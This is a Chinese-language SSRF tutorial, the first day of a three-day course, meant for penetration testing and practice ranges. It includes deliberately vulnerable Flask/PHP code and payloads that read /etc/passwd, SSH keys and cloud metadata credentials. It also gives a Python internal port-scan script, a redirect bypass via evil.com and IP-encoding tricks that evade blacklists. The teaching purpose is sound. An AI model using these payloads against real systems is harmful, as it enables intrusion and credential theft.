1. 项目概述为什么SSRF值得你花三天时间如果你是一名Web安全方向的从业者或者正在向这个领域转型那么“SSRF”Server-Side Request Forgery服务器端请求伪造这个漏洞类型绝对是你绕不开、也必须啃下来的硬骨头。我见过太多安全测试报告里对SSRF的描述停留在“可以探测内网”的浅层也见过不少开发同学在修复时仅仅是在代码里加个域名白名单就以为万事大吉结果被绕过打得措手不及。这个漏洞的“魅力”在于它像一把能打开内网大门的万能钥匙危害可大可小从信息泄露到内网漫游再到远程代码执行杀伤链可以拉得很长。所以我决定用接下来三天的时间和你一起把这个漏洞彻底搞懂。这不是一个照本宣科的教程而是基于我过去在渗透测试和代码审计中真实遇到过的案例、踩过的坑、以及和开发“斗智斗勇”的绕过经验整理出的实战指南。第一天我们的目标是打下坚实的地基彻底理解SSRF到底是什么、它为什么会产生、以及如何用最基础的方法把它挖出来。我们会避开那些华而不实的理论堆砌直接从漏洞产生的代码层面和利用场景入手让你看完就能在靶场或者自己的测试环境中动手验证。2. SSRF漏洞核心原理深度拆解要利用一个漏洞首先得知道它究竟是怎么“活”过来的。SSRF的本质是攻击者能够通过一个存在缺陷的Web应用向该应用本身、或该应用能访问到的任何其他内部或外部系统发起一个未经授权的网络请求。你可以把这个有缺陷的Web应用想象成一个“叛变”的邮差本来你用户只能让他把信送到小区门口的邮箱预期的前端功能但现在你通过某种方式骗他拿着你的信进入了小区内部甚至用他的权限打开了某户人家的门把信放进去或者把人家家里的东西偷拍一张照片带出来。2.1 漏洞产生的代码级根源几乎所有SSRF漏洞的根源都可以追溯到应用程序在处理用户提供的URL参数时缺乏足够严格的校验和控制。我们来看几个最典型的代码场景场景一直白的URL请求这是最经典的场景。后端有一个功能比如“网页快照”、“URL预览”、“文件下载”或“调用第三方API”它接收一个来自前端的url参数然后直接用这个参数去发起网络请求。# 一个非常危险的示例代码Python requests import requests from flask import request, Flask app Flask(__name__) app.route(/fetch) def fetch_url(): url request.args.get(url) # 直接获取用户输入的URL response requests.get(url) # 没有任何校验直接请求 return response.text在这段代码里用户传入什么url服务器就会去请求什么。攻击者可以传入http://127.0.0.1:8080/admin来探测本地管理后台也可以传入file:///etc/passwd来尝试读取系统文件。场景二间接的参数拼接有时候URL不是直接给出的而是通过其他参数拼接而成。这种场景更具隐蔽性。// 一个常见的PHP示例 $api_server $_GET[server]; // 用户可控例如传入 internal-api $function $_GET[func]; // 用户可控 // 程序可能有一个内部映射internal-api 对应 http://192.168.1.100:8080 $base_url $config[servers][$api_server]; $full_url $base_url . /api/ . $function; // 然后使用curl或file_get_contents请求$full_url攻击者可能通过控制server参数将其指向一个已知的内部服务地址别名再结合func参数构造出攻击内网其他服务的请求。场景三请求重定向与跳转一些应用会遵循URL重定向。例如一个图片处理服务先请求用户提供的URL获取图片如果该URL返回一个302重定向状态码并指向http://169.254.169.254/latest/meta-data/AWS/Aliyun等云服务器的元数据接口那么服务端可能会跟随这个重定向从而访问到内部系统。2.2 协议支持的多样性与风险SSRF的威力不仅限于HTTP/HTTPS。很多编程语言的网络请求库支持多种URL协议这为攻击提供了更多可能性file协议file:///etc/passwd。用于读取服务器本地文件是信息泄露的直接途径。dict协议dict://localhost:6379/info。可以向支持dict协议的服务如Redis发送命令如果Redis未授权访问这可能直接导致getshell。gopher协议这是一个非常古老但强大的协议它可以封装成各种其他协议的请求如HTTP、Redis、MySQL等是攻击内网服务的“瑞士军刀”。虽然现代语言库可能默认不支持但在某些特定环境或旧版本中仍可能存在。ftp / ldap / tftp等用于攻击内网相应的服务。注意不同语言、不同库对协议的支持程度不同。例如PHP的file_get_contents()和curl支持很多协议而Java的URLConnection也支持不少。在实际测试中了解目标系统的技术栈对于判断可利用的协议至关重要。2.3 攻击目标不仅仅是内网一提到SSRF大家第一反应是“打内网”。这没错因为SSRF是突破网络边界、访问隔离内网系统的利器。但它的目标远不止于此攻击本机其他服务Web服务器本身可能还运行着Redis6379、Memcached11211、MySQL3306等服务它们可能只监听127.0.0.1。通过SSRF攻击者可以绕过防火墙直接与这些服务交互。攻击云元数据服务在云服务器AWS, Azure, GCP, 阿里云腾讯云等上有一个特殊的内部端点如http://169.254.169.254用于查询实例的元数据其中可能包含访问密钥、安全组信息等敏感数据。SSRF是获取这些信息的典型手段。端口扫描通过循环尝试连接目标内网IP的不同端口根据响应时间或错误信息差异来判断端口开放情况从而绘制内网地图。作为跳板进行二次攻击如果攻击者通过SSRF访问到的内部服务如一个未授权的Redis存在漏洞则可以进一步利用实现从SSRF到RCE远程代码执行的升级。3. 挖掘SSRF手动与自动化结合的方法论知道了原理我们该如何在真实环境或靶场中把它找出来盲目测试效率极低需要有策略地进行。3.1 目标功能点定位首先你需要像侦探一样在应用中寻找那些“可能会发起外部请求”的功能点。以下是一些高风险功能清单数据获取/导入类头像设置来自URL、文章封面图、富文本编辑器中的图片/视频上传通过URL、从第三方导入数据、RSS订阅。资源处理类网页快照、PDF生成、URL预览、链接转二维码、文档在线转换如Word转PDF可能调用外部服务。网络工具类网站测速、端口检测、DNS查询、Ping功能、CURL功能这类功能几乎明牌。API与Webhook调用外部API的功能如发送短信、验证码、支付回调以及配置外部Webhook的URL地址处。参数中的URL痕迹仔细观察参数名如url、link、src、api、service、path、file、load、fetch、redirect、proxy等。3.2 基础手工探测技巧找到可疑参数后开始手动测试。准备一个公网可访问的服务器或使用Burp Suite的Collaborator功能、dnslog.cn等来接收请求这是证明漏洞存在的关键。第一步验证参数是否被请求向目标参数传入你的服务器地址观察你的服务器访问日志是否有来自目标应用的请求。原始请求GET /api/fetch?urlhttps://target.com/logo.png 测试请求GET /api/fetch?urlhttp://your-server.com/ssrf_test查看your-server.com的日志如果看到来自目标IP的请求证明参数被后端请求了存在SSRF可能。第二步尝试访问内部地址如果第一步成功尝试访问常见的内部地址http://127.0.0.1:80(本机Web)http://localhost:3306(本机MySQL)http://169.254.169.254/(云元数据)http://192.168.1.1:8080(常见内网网关或管理后台)第三步尝试不同协议file:///etc/passwddict://localhost:6379/infogopher://your-server.com:80/_GET%20/HTTP/1.1%0d%0a...(需要编码)第四步观察响应差异直接回显如果请求的结果直接显示在页面上那是最理想的情况。你可以通过回显内容判断请求是否成功以及获取内部数据。时间差异如果端口开放请求可能很快超时或返回连接拒绝如果端口关闭可能会立即返回错误。通过时间差可以进行盲端口扫描。错误信息仔细阅读应用返回的错误信息。例如“Connection refused”、“Invalid URL”、“Access denied”、“Invalid host”等这些信息能透露后端处理逻辑和网络状况。3.3 利用自动化工具提升效率纯手工测试在复杂应用面前会非常耗时。我们可以借助工具进行辅助扫描和验证。Burp Suite Professional (Active Scan)Burp的主动扫描引擎内置了SSRF检测模块。它会自动替换请求中的URL参数尝试访问其Collaborator服务器。如果发现Collaborator收到了请求就会报告潜在的SSRF漏洞。这是最省力的初步筛查方式。自定义扫描脚本对于有特定规律或需要深度测试的场景可以编写Python脚本。例如针对一个参数批量尝试内网C段IP和常见端口并根据响应时间进行判断。import requests import time target_url http://vulnerable-site.com/api/fetch param_name url base_ip 192.168.1.{} common_ports [80, 443, 8080, 8443, 22, 21, 3306, 6379, 27017] for i in range(1, 255): for port in common_ports: test_url fhttp://{base_ip.format(i)}:{port} payload {param_name: test_url} start_time time.time() try: # 设置较短超时用于判断连接状态 resp requests.get(target_url, paramspayload, timeout3) elapsed time.time() - start_time # 如果响应时间在特定范围内可能表示端口开放 if 0.5 elapsed 2.5: print(f[] Potential open: {test_url} - Time: {elapsed:.2f}s - Status: {resp.status_code}) except requests.exceptions.ConnectionError: # 连接被拒绝端口可能关闭或过滤 pass except requests.exceptions.Timeout: # 超时可能是防火墙丢弃或服务无响应 print(f[?] Timeout on: {test_url}) except Exception as e: print(f[-] Error on {test_url}: {e})实操心得自动化扫描要注意频率和伦理。在授权测试中高频扫描可能触发WAF或IPS甚至影响业务。最好在非业务高峰期进行并设置合理的延迟。在真实渗透测试中结合手工验证和工具扫描效率最高。4. 初阶利用从信息泄露到内网探测当我们确认存在SSRF漏洞并且可以控制请求的目标后就可以开始尝试一些基础的利用手段了。第一天的目标不是搞复杂的协议利用而是拿到实实在在的信息。4.1 读取服务器本地敏感文件这是最直接的危害。利用file协议如果支持或某些特殊处理逻辑尝试读取系统文件。Linux系统/etc/passwd验证文件读取能力。/etc/hosts查看主机配置和可能的内部域名映射。/proc/self/environ有时可以读到环境变量可能包含密钥。/proc/net/fib_trie可能泄露内网IP信息。~/.bash_history,~/.ssh/id_rsa尝试读取用户历史命令和私钥需要知道路径。Windows系统file:///C:/Windows/System32/drivers/etc/hostsfile:///C:/boot.ini(旧系统)测试请求示例GET /vuln/fetch?urlfile:///etc/passwd HTTP/1.1 Host: target.com4.2 探测云服务器元数据对于部署在云上的应用这是一个“高价值目标”。你需要知道不同云厂商的元数据地址AWS:http://169.254.169.254/latest/meta-data/阿里云:http://100.100.100.200/latest/meta-data/腾讯云:http://metadata.tencentyun.com/latest/meta-data/Google Cloud:http://metadata.google.internal/computeMetadata/v1/(需要头Metadata-Flavor: Google)Azure:http://169.254.169.254/metadata/instance?api-version2021-02-01(需要头Metadata: true)你可以通过SSRF逐级访问这些目录尝试获取access-keys、security-credentials等信息。一旦拿到云主机的临时凭据危害可能极其严重。4.3 对内网进行基础端口扫描即使无法直接读取数据通过响应时间或错误信息进行“盲”端口扫描也能为我们绘制内网拓扑图提供关键信息。基于响应时间的盲扫描思路请求一个已知不存在的IP或端口记录其快速返回“连接拒绝”或“超时”的基准时间。请求目标内网IP的特定端口如80 443 8080。如果响应时间显著长于基准时间例如基准0.1秒目标2秒后返回连接拒绝可能意味着数据包穿越了更多网络设备或触发了防火墙规则间接提示该IP存活。如果请求长时间无响应达到设定的超时时间如5秒可能意味着端口被防火墙静默丢弃或者服务存在但未返回预期数据。基于错误信息的盲扫描 有些应用在处理网络错误时会返回不同的信息。Connection refused通常表示目标IP的该端口上没有服务监听。Connection timed out可能表示数据包被中间防火墙丢弃或者目标主机存在但端口被过滤。No route to host表示网络不可达IP可能不存在。Invalid URL或Host not allowed这可能意味着应用进行了某种过滤但过滤不完整。你可以编写脚本系统地遍历内网IP段如192.168.0.0/24, 10.0.0.0/8和常见端口记录下所有的响应差异从而分析出哪些主机和端口可能存活。4.4 利用重定向绕过初步过滤很多初级的防御措施是检查用户输入的URL是否包含黑名单关键词如127.0.0.1,localhost,192.168,10.。一个简单的绕过方法是利用URL重定向。攻击者控制一个域名如evil.com并将其A记录指向127.0.0.1。在evil.com上部署一个Web服务当收到请求时返回一个302重定向跳转到http://127.0.0.1:8080/admin。攻击者向存在SSRF的站点传入urlhttp://evil.com/redirect。存在漏洞的服务端请求evil.comevil.com返回重定向到内网地址。如果服务端的HTTP客户端如默认的curl、requests自动跟随重定向那么它就会继续请求内网地址从而绕过对目标地址的黑名单检查。测试方法 你可以使用一个在线的请求Bin服务如http://requestbin.net或自己搭建一个简单的重定向脚本来测试目标应用是否会跟随重定向。注意事项这种绕过方式成功的关键在于后端使用的HTTP库是否默认跟随重定向以及跟随重定向时是否会对新的目标地址再次进行安全校验。很多初级防御方案会忽略这一点。5. 常见防御与初级绕过实战了解了攻击我们也要从防御者的角度思考这样才能更好地发现那些不完善的防护。第一天我们先看几种常见的初级防御及其绕过方法。5.1 基于黑名单的过滤与绕过这是最简单也最容易绕过的防御。开发者可能会写一个列表拒绝包含某些关键词的请求。常见黑名单127.0.0.1,localhost,192.168.,10.,172.16.,169.254,0.0.0.0,[::],file,gopher,dict等。绕过技巧IP地址变形十进制IP127.0.0.12130706433(转换公式(12724)(016)(08)1)八进制IP127.0.0.10177.0.0.01或017700000001十六进制IP127.0.0.10x7f.0x0.0x0.0x1或0x7f000001省略小数点127.0.0.1-127.1(在某些解析器中127.1等价于127.0.0.1)IPv6地址[::]或[::1]代表本地回环。也可以用IPv6的压缩格式或映射IPv4的格式。域名指向将localhost解析到127.0.0.1。购买一个域名将其A记录指向内网IP或127.0.0.1。利用URL解析差异利用符号http://foo127.0.0.1- 实际请求127.0.0.1foo被当作用户名。利用#符号http://127.0.0.1#evil.com- 某些解析器可能会将#后的内容当作片段标识符而忽略实际请求127.0.0.1。利用残缺的URL编码或特殊字符这取决于后端URL解析库的具体实现。5.2 基于白名单的过滤与挑战白名单只允许访问特定的域名或IP段比黑名单安全得多但实现起来更复杂也并非无懈可击。挑战点白名单校验位置校验是在发起请求前还是在收到响应后如果是在收到响应后校验响应头或内容攻击者可以控制一个白名单域名下的服务让其返回一个重定向到内网的响应如果客户端跟随重定向且不再校验则可能被绕过。白名单域名下的子域或路径攻击如果白名单是*.example.com攻击者可以注册hack.example.com并在此子域上部署恶意服务进行攻击。解析差异导致绕过例如白名单校验时使用java.net.URL解析而实际请求时使用HttpClient这两个类库对URL的解析规范可能略有不同导致校验和请求的目标不一致。5.3 实战案例一个简单的SSRF靶场绕过假设我们遇到一个靶场其功能是获取URL的标题代码如下逻辑示意$url $_GET[url]; // 防御检查是否包含内网IP关键词 if (preg_match(/(127\.|192\.168|10\.|172\.(1[6-9]|2[0-9]|3[0-1])|localhost)/i, $url)) { die(Internal IP not allowed!); } // 发起请求 $content file_get_contents($url);这个防御只做了简单的正则黑名单匹配。绕过尝试urlhttp://0177.0.0.01/(八进制) - 可能绕过。urlhttp://2130706433/(十进制) - 可能绕过。urlhttp://127.1/(省略零) - 可能绕过。urlhttp://foo127.0.0.1/- 正则可能匹配到127.0.0.1被拦截。urlhttp://localhost.abc.com/- 正则可能匹配到localhost被拦截。但可以尝试urlhttp://localtest.me/这个域名解析到127.0.0.1来绕过对localhost字符串的检查。通过这样的尝试我们就能理解黑名单过滤的局限性并在实际测试中灵活运用各种变形技巧。第一天的内容就到这里。核心是建立对SSRF漏洞的立体认知从代码层面理解其诞生从攻击者视角学习如何挖掘和初步利用再从防御者视角思考如何绕过薄弱环节。我建议你在学习后立即找一个SSRF靶场如Pikachu、DVWA、WebGoat等动手练习把今天提到的探测方法、绕过技巧都实际操作一遍。只有亲手触发漏洞、看到回显、遇到错误并解决它这些知识才会真正变成你的技能。明天我们将深入更高级的利用技巧包括如何利用不同协议攻击内网服务以及如何将SSRF的危害升级。